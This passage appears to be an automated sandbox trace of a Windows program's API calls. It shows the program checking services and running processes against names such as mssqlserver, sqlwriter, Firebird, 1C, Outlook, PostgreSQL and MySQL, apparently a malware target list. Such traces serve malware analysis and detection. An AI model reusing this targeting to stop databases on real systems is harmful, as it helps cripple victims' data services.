(lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0030.932] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0030.932] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0030.932] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0030.932] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0030.932] lstrlenW (lpString="CscService") returned 10 [0030.932] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0030.932] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0030.932] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0030.932] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0030.932] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0030.932] lstrlenW (lpString="DcomLaunch") returned 10 [0030.932] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0030.932] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0030.932] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0030.932] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0030.932] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0030.932] lstrlenW (lpString="Dhcp") returned 4 [0030.932] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0030.932] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0030.932] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0030.932] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0030.932] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0030.932] lstrlenW (lpString="Dnscache") returned 8 [0030.932] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0030.932] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0030.932] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0030.932] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0030.932] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0030.933] lstrlenW (lpString="DPS") returned 3 [0030.933] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0030.933] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0030.933] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0030.933] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0030.933] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0030.933] lstrlenW (lpString="eventlog") returned 8 [0030.933] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0030.933] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0030.933] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0030.933] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0030.933] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0030.933] lstrlenW (lpString="EventSystem") returned 11 [0030.933] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0030.933] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0030.933] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0030.933] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0030.933] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0030.933] lstrlenW (lpString="gpsvc") returned 5 [0030.933] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0030.933] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0030.933] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0030.933] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0030.933] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0030.933] lstrlenW (lpString="iphlpsvc") returned 8 [0030.933] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0030.933] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0030.933] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0030.933] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0030.933] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0030.933] lstrlenW (lpString="LanmanServer") returned 12 [0030.934] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0030.934] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0030.934] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0030.934] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0030.934] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0030.934] lstrlenW (lpString="LanmanWorkstation") returned 17 [0030.934] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0030.934] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0030.934] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0030.934] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0030.934] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0030.934] lstrlenW (lpString="lmhosts") returned 7 [0030.934] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0030.934] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0030.934] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0030.934] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0030.934] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0030.934] lstrlenW (lpString="MMCSS") returned 5 [0030.934] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0030.934] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0030.934] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0030.934] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0030.934] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0030.934] lstrlenW (lpString="MpsSvc") returned 6 [0030.935] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0030.935] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0030.935] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0030.935] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0030.935] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0030.935] lstrlenW (lpString="Netman") returned 6 [0030.935] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0030.935] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0030.935] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0030.935] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0030.935] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0030.935] lstrlenW (lpString="netprofm") returned 8 [0030.935] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0030.935] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0030.935] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0030.935] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0030.935] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0030.935] lstrlenW (lpString="NlaSvc") returned 6 [0030.935] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0030.935] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0030.935] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0030.935] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0030.935] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0030.935] lstrlenW (lpString="nsi") returned 3 [0030.935] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0030.935] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0030.935] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0030.935] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0030.935] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0030.935] lstrlenW (lpString="PcaSvc") returned 6 [0030.935] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0030.936] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0030.936] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0030.936] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0030.936] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0030.936] lstrlenW (lpString="PlugPlay") returned 8 [0030.936] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0030.936] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0030.936] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0030.936] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0030.936] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0030.936] lstrlenW (lpString="Power") returned 5 [0030.936] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0030.936] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0030.936] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0030.936] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0030.936] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0030.936] lstrlenW (lpString="ProfSvc") returned 7 [0030.936] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0030.936] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0030.936] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0030.936] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0030.936] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0030.936] lstrlenW (lpString="RpcEptMapper") returned 12 [0030.936] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0030.936] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0030.936] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0030.936] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0030.936] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0030.936] lstrlenW (lpString="RpcSs") returned 5 [0030.936] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0030.937] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0030.937] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0030.937] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0030.937] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0030.937] lstrlenW (lpString="SamSs") returned 5 [0030.937] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0030.937] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0030.937] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0030.937] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0030.937] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0030.937] lstrlenW (lpString="Schedule") returned 8 [0030.937] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0030.937] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0030.937] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0030.937] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0030.937] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0030.937] lstrlenW (lpString="SENS") returned 4 [0030.937] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0030.937] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0030.937] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0030.937] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0030.937] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0030.937] lstrlenW (lpString="ShellHWDetection") returned 16 [0030.937] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0030.937] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0030.937] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0030.937] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0030.937] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0030.937] lstrlenW (lpString="Spooler") returned 7 [0030.937] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0030.937] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0030.938] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0030.938] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0030.938] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0030.938] lstrlenW (lpString="SysMain") returned 7 [0030.938] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0030.938] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0030.938] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0030.938] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0030.938] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0030.938] lstrlenW (lpString="Themes") returned 6 [0030.938] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0030.938] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0030.938] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0030.938] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0030.938] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0030.938] lstrlenW (lpString="TrkWks") returned 6 [0030.938] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0030.938] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0030.938] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0030.938] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0030.938] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0030.938] lstrlenW (lpString="UxSms") returned 5 [0030.938] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0030.938] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0030.938] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0030.938] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0030.938] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0030.938] lstrlenW (lpString="WdiServiceHost") returned 14 [0030.938] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0030.938] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0030.938] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0030.939] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0030.939] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0030.939] lstrlenW (lpString="WdiSystemHost") returned 13 [0030.939] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0030.939] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0030.939] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0030.939] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0030.939] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0030.939] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0030.939] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0030.939] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0030.939] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0030.939] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0030.939] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0030.939] lstrlenW (lpString="Winmgmt") returned 7 [0030.939] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0030.939] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0030.939] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0030.939] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0030.939] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0030.939] lstrlenW (lpString="WPDBusEnum") returned 10 [0030.939] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0030.939] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0030.939] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0030.939] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0030.939] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0030.939] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e91e0 | out: hHeap=0x4b0000) returned 1 [0030.939] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xe0 [0030.943] Process32FirstW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0030.944] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0030.945] lstrlenW (lpString="System") returned 6 [0030.945] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0030.945] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0030.945] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0030.945] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0030.945] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0030.945] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0030.945] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0030.945] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0030.945] lstrlenW (lpString="smss.exe") returned 8 [0030.945] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0030.945] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0030.945] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0030.946] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0030.946] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0030.946] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0030.946] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0030.946] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0030.946] lstrlenW (lpString="csrss.exe") returned 9 [0030.946] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0030.946] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0030.946] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0030.946] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0030.946] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0030.946] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0030.946] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0030.946] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0030.947] lstrlenW (lpString="wininit.exe") returned 11 [0030.947] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0030.947] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0030.947] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0030.947] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0030.947] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0030.947] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0030.947] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0030.947] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0030.948] lstrlenW (lpString="csrss.exe") returned 9 [0030.948] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0030.948] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0030.948] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0030.948] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0030.948] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0030.948] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0030.948] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0030.949] lstrlenW (lpString="winlogon.exe") returned 12 [0030.949] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0030.949] lstrlenW (lpString="services.exe") returned 12 [0030.949] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0030.951] lstrlenW (lpString="lsass.exe") returned 9 [0030.951] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0030.951] lstrlenW (lpString="lsm.exe") returned 7 [0030.952] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0030.952] lstrlenW (lpString="svchost.exe") returned 11 [0030.952] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0030.953] lstrlenW (lpString="svchost.exe") returned 11 [0030.953] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0030.953] lstrlenW (lpString="svchost.exe") returned 11 [0030.953] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0030.956] lstrlenW (lpString="svchost.exe") returned 11 [0030.956] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x29, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, 